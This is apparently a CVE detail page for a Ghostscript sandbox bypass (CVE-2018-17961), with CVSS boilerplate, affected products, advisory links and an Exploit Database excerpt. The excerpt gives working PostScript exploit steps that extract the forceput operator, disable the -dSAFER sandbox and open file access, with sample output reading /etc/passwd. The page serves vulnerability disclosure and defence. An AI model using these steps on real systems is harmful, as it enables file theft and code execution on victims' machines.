CVE-2018-17961 : Detail

CVE-2018-17961

8.6
/
High
A04-Insecure Design
0.25%V3
Local
2018-10-15
14h00 +00:00
2018-12-18
09h57 +00:00
CVE.org
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CVE Descriptions

Artifex Ghostscript 9.25 and earlier allows attackers to bypass a sandbox protection mechanism via vectors involving errorhandler setup. NOTE: this issue exists because of an incomplete fix for CVE-2018-17183.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-209 Generation of Error Message Containing Sensitive Information
The product generates an error message that includes sensitive information about its environment, users, or associated data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.6 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45573

Publication date : 2018-10-08 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

While documenting bug 1675, I noticed another problem with errordict in ghostscript. Full working exploit that works in the last few versions is attached, viewing it in evince, imagemagick, gimp, okular, etc should add a line to ~/.bashrc. Additionally, because nautilus will automatically invoke evince-thumbnailer without any user-interaction, just browsing a website is enough to trigger the vulnerability. taviso@ubuntu:~$ convert exploit.jpg output.jpg taviso@ubuntu:~$ tail -1 ~/.bashrc echo pwned by postscript Good news: If your distro ships gnome-desktop 3.25.90 or later and wasn't bananas enough to disable sandboxing (yes, some are really doing that, see bug 1643 ), I don't know of any way to trigger automatic exploitation. If you open the file manually, you're still in trouble though. One of the core access control features in postscript is the ability to mark procedures executeonly, this prevents users from peeking inside system routines and getting references to powerful operators they shouldn't have access to. I have a full description of how the executeonly mechanism works in bug 1675. Until recently you could install an error handler in errordict and if you cause an executeonly procedure to stop ("stop" is the postscript term for "throw an exception"), that would expose the faulting operator to the error handler. That is no longer possible, because errordict is ignored in the -dSAFER sandbox. Unfortunately, the fix was incomplete, because you could still make the invocation of the errorhandler itself stop by filling up the stack with junk and making it /stackoverflow. One way to exploit this is to find an executeonly procedure that can stop in two different ways, you trigger the first exception and then you make calling the errorhandler stop (/stackoverflow or /execoverflow will do). When that fails the operand stack is left in an inconsistent state, because ghostscript was trying to set up the errorhandler but failed. Here is how to exploit it: % first, fill up the stack with junk so there is only a tiny bit of room for the errorhandler GS>0 1 300368 {} for % We can make /switch_to_normal_marking_ops fail by making pdfopdict a non-dictionary GS<300369>/pdfopdict null def % call /switch_to_normal_marking_ops (which is executeonly) GS<300369>GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped % that failed because of /typecheck writing to pdfopdict GS<2>== true % And if we look at the last few elements of the saved stack... GS<1>dup dup length 10 sub 10 getinterval == [300364 300365 300366 300367 300368 null /m {normal_m} --.forceput-- /typecheck] % The failed operator is on there ready to be passed to the errorhandler. forceput is a very powerful operator that ignores all access controls, we can extract it from the stack, and then do whatever we like. % Lets disable SAFER and give ourselves access to the whole filesystem (including .bashrc, ssh keys, chrome cookies, everything) systemdict /SAFER false forceput systemdict /userparams get /PermitFileControl [(*)] forceput systemdict /userparams get /PermitFileWriting [(*)] forceput systemdict /userparams get /PermitFileReading [(*)] forceput Putting it all together, here is reading /etc/passwd just to demo: $ ./gs -dSAFER -f test.ps GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. (root:x:0:0:root:/root:/bin/bash) Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45573.zip

Products Mentioned

Configuraton 0

Artifex>>Ghostscript >> Version To (excluding) 9.25

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_eus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_workstation >> Version 7.0

References

http://www.openwall.com/lists/oss-security/2018/10/09/4
Tags : mailing-list, x_refsource_MLIST
https://access.redhat.com/errata/RHSA-2018:3834
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3803-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.debian.org/security/2018/dsa-4336
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.exploit-db.com/exploits/45573/
Tags : exploit, x_refsource_EXPLOIT-DB